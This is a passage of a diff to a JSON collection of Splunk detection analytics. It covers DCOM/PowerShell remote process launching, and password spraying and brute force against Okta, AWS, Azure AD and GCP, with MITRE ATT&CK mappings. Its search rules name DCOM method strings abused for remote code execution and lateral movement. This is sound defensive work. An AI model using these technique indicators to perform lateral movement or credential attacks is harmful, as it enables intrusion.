- "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Remote Process Instantiation via DCOM and PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with arguments used to start a process on a remote endpoint by abusing the DCOM protocol, specifically targeting ShellExecute and ExecuteShellCommand. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant as it indicates potential lateral movement and remote code execution attempts by adversaries. If confirmed malicious, this could allow attackers to execute arbitrary code remotely, escalate privileges, and move laterally within the network, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=\"*Document.ActiveView.ExecuteShellCommand*\" OR Processes.process=\"*Document.Application.ShellExecute*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_process_instantiation_via_dcom_and_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $dest by abusing DCOM using PowerShell.exe", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Remote Process Instantiation via DCOM and PowerShell Script Block", - "description": "The following analytic detects the execution of PowerShell commands that initiate a process on a remote endpoint via the DCOM protocol. It leverages PowerShell Script Block Logging (EventCode=4104) to identify the use of ShellExecute and ExecuteShellCommand. This activity is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Document.Application.ShellExecute*\" OR ScriptBlockText=\"*Document.ActiveView.ExecuteShellCommand*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_process_instantiation_via_dcom_and_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $Computer$ by abusing WMI using PowerShell.exe", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -379759,2812 +267817,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "Okta Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies instances where more than 10 unique user accounts have failed to authenticate from a single IP address within a 5-minute window in an Okta tenant. This detection uses OktaIm2 logs ingested via the Splunk Add-on for Okta Identity Cloud. Such activity is significant as it may indicate brute-force attacks or password spraying attempts. If confirmed malicious, this behavior suggests an external entity is attempting to compromise multiple user accounts, potentially leading to unauthorized access to organizational resources and data breaches.", - "search": " | tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime dc(Authentication.user) as unique_accounts values(Authentication.signature) as signature values(Authentication.user) as user values(Authentication.app) as app values(Authentication.authentication_method) as authentication_method from datamodel=Authentication where Authentication.action=\"failure\" AND Authentication.signature=user.session.start by _time span=5m Authentication.src sourcetype | where unique_accounts > 9 | `drop_dm_object_name(\"Authentication\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple users failing to authenticate from a single source IP Address - [$src$]. Investigate further to determine if this was authorized.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "AWS High Number Of Failed Authentications From Ip", - "description": "The following analytic detects an IP address with 20 or more failed authentication attempts to the AWS Web Console within a 5-minute window. This detection leverages CloudTrail logs, aggregating failed login events by IP address and time span. This activity is significant as it may indicate a brute force attack aimed at gaining unauthorized access or escalating privileges within an AWS environment. If confirmed malicious, this could lead to unauthorized access, data breaches, or further exploitation of AWS resources.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=5m _time | stats dc(_raw) AS failed_attempts values(user_name) as tried_accounts values(user_agent) by _time, src_ip, eventName, eventSource aws_account_id | where failed_attempts > 20 | `aws_high_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple failed console login attempts (Count: $failed_attempts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "AWS Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into the AWS Console with 30 unique valid users within 10 minutes. It leverages CloudTrail logs to detect multiple failed login attempts from the same IP address. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain unauthorized access or elevate privileges by trying common passwords across many accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the AWS environment.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(user_name) AS unique_accounts values(user_name) as tried_accounts by _time, src_ip | `aws_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple failed console login attempts (Count: $unique_accounts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "AWS Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into the AWS Console with multiple valid users. It uses CloudTrail logs and calculates the standard deviation for source IP, leveraging the 3-sigma rule to detect unusual numbers of failed authentication attempts. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the AWS environment.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(_raw) AS distinct_attempts values(user_name) as tried_accounts by _time, src_ip | eventstats avg(distinct_attempts) as avg_attempts , stdev(distinct_attempts) as ip_std by _time | eval upperBound=(avg_attempts+ip_std*3) | eval isOutlier=if(distinct_attempts > 10 and distinct_attempts >= upperBound, 1, 0) | where isOutlier = 1 |`aws_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $distinct_attempts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure Active Directory High Risk Sign-in", - "description": "The following analytic detects high-risk sign-in attempts against Azure Active Directory, identified by Azure Identity Protection. It leverages the RiskyUsers and UserRiskEvents log categories from Azure AD events ingested via EventHub. This activity is significant as it indicates potentially compromised accounts, flagged by heuristics and machine learning. If confirmed malicious, attackers could gain unauthorized access to sensitive resources, leading to data breaches or further exploitation within the environment.", - "search": " `azure_monitor_aad` category=UserRiskEvents properties.riskLevel=high | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, activity, riskLevel, riskEventType, additionalInfo | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_active_directory_high_risk_sign_in_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A high risk event was identified by Identify Protection for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD High Number Of Failed Authentications From Ip", - "description": "The following analytic detects an IP address with 20 or more failed authentication attempts to an Azure AD tenant within 10 minutes. It leverages Azure AD SignInLogs to identify repeated failed logins from the same IP. This behavior is significant as it may indicate a brute force attack aimed at gaining unauthorized access or escalating privileges. If confirmed malicious, the attacker could potentially compromise user accounts, leading to unauthorized access to sensitive information and resources within the Azure environment.", - "search": " `azure_monitor_aad` category= SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip | where count > 20 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_high_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$src_ip$ failed to authenticate more than 20 times in the span of 10 minutes minutes.", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Source Failed Authentications Spike", - "description": "The following analytic detects potential distributed password spraying attacks in an Azure AD environment. It identifies a spike in failed authentication attempts across various user-and-IP combinations from multiple source IPs and countries, using different user agents. This detection leverages Azure AD SignInLogs, focusing on error code 50126 for failed authentications. This activity is significant as it indicates an adversary's attempt to bypass security controls by distributing login attempts. If confirmed malicious, this could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization's infrastructure.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats count min(_time) as firstTime max(_time) as lastTime dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, dc(user_agent) as uniqueUserAgents, dc(location.countryOrRegion) as uniqueCountries values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents, values(location.countryOrRegion) as countries | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 AND uniqueUserAgents = 1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP failing to authenticate with 30 unique valid users within 5 minutes in Azure Active Directory. It leverages Azure AD SignInLogs with error code 50126, indicating invalid passwords. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges by trying common passwords across many accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or privilege escalation within the Azure AD environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(user) AS unique_accounts values(user) as user by src_ip | where unique_accounts > 30 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 30 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Successful Authentication From Different Ips", - "description": "The following analytic detects an Azure AD account successfully authenticating from multiple unique IP addresses within a 30-minute window. It leverages Azure AD SignInLogs to identify instances where the same user logs in from different IPs in a short time frame. This behavior is significant as it may indicate compromised credentials being used by an adversary, potentially following a phishing attack. If confirmed malicious, this activity could allow unauthorized access to corporate resources, leading to data breaches or further exploitation within the network.", - "search": " `azure_monitor_aad` properties.authenticationDetails{}.succeeded=true category=SignInLogs | rename properties.* as * | bucket span=30m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(src_ip) AS unique_ips values(src_ip) as src_ip values(appDisplayName) as appDisplayName by user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where unique_ips > 1 | `azure_ad_successful_authentication_from_different_ips_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ has had successful authentication events from more than one unique IP address in the span of 30 minutes.", - "risk_score": 56, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate with multiple valid users, potentially indicating a Password Spraying attack against an Azure Active Directory tenant. It uses Azure SignInLogs data and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual numbers of failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats dc(userPrincipalName) AS unique_accounts values(userPrincipalName) as userPrincipalName by _time, ipAddress | eventstats avg(unique_accounts) as ip_avg, stdev(unique_accounts) as ip_std by ipAddress | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1,0) | where isOutlier = 1 | `azure_ad_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "userPrincipalName", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ipAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible Password Spraying attack against Azure AD from source ip $ipAddress$", - "risk_score": 54, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "GCP Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP address failing to authenticate into more than 20 unique Google Workspace user accounts within a 5-minute window. It leverages Google Workspace login failure events to identify potential password spraying attacks. This activity is significant as it may indicate an adversary attempting to gain unauthorized access or elevate privileges within the Google Cloud Platform. If confirmed malicious, this behavior could lead to unauthorized access to sensitive resources, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure | bucket span=5m _time | stats count dc(user) AS unique_accounts values(user) as tried_accounts values(authentication_method) AS authentication_method earliest(_time) as firstTime latest(_time) as lastTime by _time event.name src app id.applicationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where unique_accounts > 20 | `gcp_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple failed login attempts (Count: $unique_accounts$) against users seen from $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "GCP Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into Google Workspace with multiple valid users, potentially indicating a Password Spraying attack. It uses Google Workspace login failure events and calculates the standard deviation for source IPs, applying the 